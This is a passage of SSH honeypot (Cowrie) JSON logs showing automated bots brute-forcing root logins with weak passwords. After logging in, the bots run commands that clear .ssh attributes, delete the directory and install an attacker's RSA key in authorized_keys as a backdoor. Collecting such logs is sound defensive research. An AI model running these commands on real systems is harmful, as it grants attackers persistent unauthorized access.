CS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:13.897051Z","src_ip":"136.248.247.188","session":"f3f58a8c49f4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:14.491424Z","src_ip":"136.248.247.188","session":"f3f58a8c49f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.233.116.124","src_port":14840,"dst_ip":"159.203.135.109","dst_port":22,"session":"28078c4fc125","protocol":"ssh","message":"New connection: 68.233.116.124:14840 (159.203.135.109:22) [session: 28078c4fc125]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:14.551165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:14.554770Z","src_ip":"68.233.116.124","session":"28078c4fc125","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:14.634431Z","src_ip":"136.248.247.188","session":"338a1f189ec5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:14.639839Z","src_ip":"136.248.247.188","session":"f3f58a8c49f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e13ba222a14b8b916c6c32f9fd6aec5d","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-512,hmac-sha2-256;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-512","hmac-sha2-256"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: e13ba222a14b8b916c6c32f9fd6aec5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:14.769356Z","src_ip":"68.233.116.124","session":"28078c4fc125","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":40980,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2aa1917ce2f","protocol":"ssh","message":"New connection: 68.183.236.1:40980 (159.203.135.109:22) [session: e2aa1917ce2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:14.886873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:14.891074Z","src_ip":"68.183.236.1","session":"e2aa1917ce2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:15.143935Z","src_ip":"68.183.236.1","session":"e2aa1917ce2f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin@2025","message":"login attempt [root/admin@2025] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:15.665275Z","src_ip":"68.233.116.124","session":"28078c4fc125","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:16.125895Z","src_ip":"68.233.116.124","session":"28078c4fc125","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:16.129620Z","src_ip":"68.233.116.124","session":"28078c4fc125","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:16.133492Z","src_ip":"68.233.116.124","session":"28078c4fc125","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"cloud1234","message":"login attempt [root/cloud1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:16.187284Z","src_ip":"68.183.236.1","session":"e2aa1917ce2f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:16.350400Z","src_ip":"68.233.116.124","session":"28078c4fc125","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:16.734729Z","src_ip":"68.183.236.1","session":"e2aa1917ce2f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:16.738557Z","src_ip":"68.183.236.1","session":"e2aa1917ce2f","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:16.742936Z","src_ip":"68.183.236.1","session":"e2aa1917ce2f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:16.819396Z","src_ip":"68.233.116.124","session":"28078c4fc125","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:16.823567Z","src_ip":"68.233.116.124","session":"28078c4fc125","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:17.002082Z","src_ip":"68.183.236.1","session":"e2aa1917ce2f","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:17.044476Z","src_ip":"68.233.116.124","session":"28078c4fc125","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:17.049121Z","src_ip":"68.233.116.124","session":"28078c4fc125","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.233.116.124","src_port":15484,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4afe3836bcd","protocol":"ssh","message":"New connection: 68.233.116.124:15484 (159.203.135.109:22) [session: d4afe3836bcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:17.260912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:17.265867Z","src_ip":"68.233.116.124","session":"d4afe3836bcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e13ba222a14b8b916c6c32f9fd6aec5d","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-512,hmac-sha2-256;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-512","hmac-sha2-256"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: e13ba222a14b8b916c6c32f9fd6aec5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:17.482589Z","src_ip":"68.233.116.124","session":"d4afe3836bcd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:17.543302Z","src_ip":"68.183.236.1","session":"e2aa1917ce2f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:17.547298Z","src_ip":"68.183.236.1","session":"e2aa1917ce2f","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:17.807130Z","src_ip":"68.183.236.1","session":"e2aa1917ce2f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:17.811305Z","src_ip":"68.183.236.1","session":"e2aa1917ce2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":40982,"dst_ip":"159.203.135.109","dst_port":22,"session":"afc7e45989b9","protocol":"ssh","message":"New connection: 68.183.236.1:40982 (159.203.135.109:22) [session: afc7e45989b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:18.056923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:18.061356Z","src_ip":"68.183.236.1","session":"afc7e45989b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:18.315338Z","src_ip":"68.183.236.1","session":"afc7e45989b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:18.381220Z","src_ip":"68.233.116.124","session":"d4afe3836bcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:19.359966Z","src_ip":"68.183.236.1","session":"afc7e45989b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:19.600787Z","src_ip":"68.233.116.124","session":"d4afe3836bcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.233.116.124","src_port":16298,"dst_ip":"159.203.135.109","dst_port":22,"session":"2bb0bca363cb","protocol":"ssh","message":"New connection: 68.233.116.124:16298 (159.203.135.109:22) [session: 2bb0bca363cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:19.825502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:19.829983Z","src_ip":"68.233.116.124","session":"2bb0bca363cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e13ba222a14b8b916c6c32f9fd6aec5d","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-512,hmac-sha2-256;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-512","hmac-sha2-256"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: e13ba222a14b8b916c6c32f9fd6aec5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:20.051816Z","src_ip":"68.233.116.124","session":"2bb0bca363cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:20.615213Z","src_ip":"68.183.236.1","session":"afc7e45989b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":40994,"dst_ip":"159.203.135.109","dst_port":22,"session":"de0e985a295b","protocol":"ssh","message":"New connection: 68.183.236.1:40994 (159.203.135.109:22) [session: de0e985a295b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:20.840136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:20.845432Z","src_ip":"68.183.236.1","session":"de0e985a295b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:20.954097Z","src_ip":"68.233.116.124","session":"2bb0bca363cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:21.083234Z","src_ip":"68.183.236.1","session":"de0e985a295b","protocol":"ssh"}
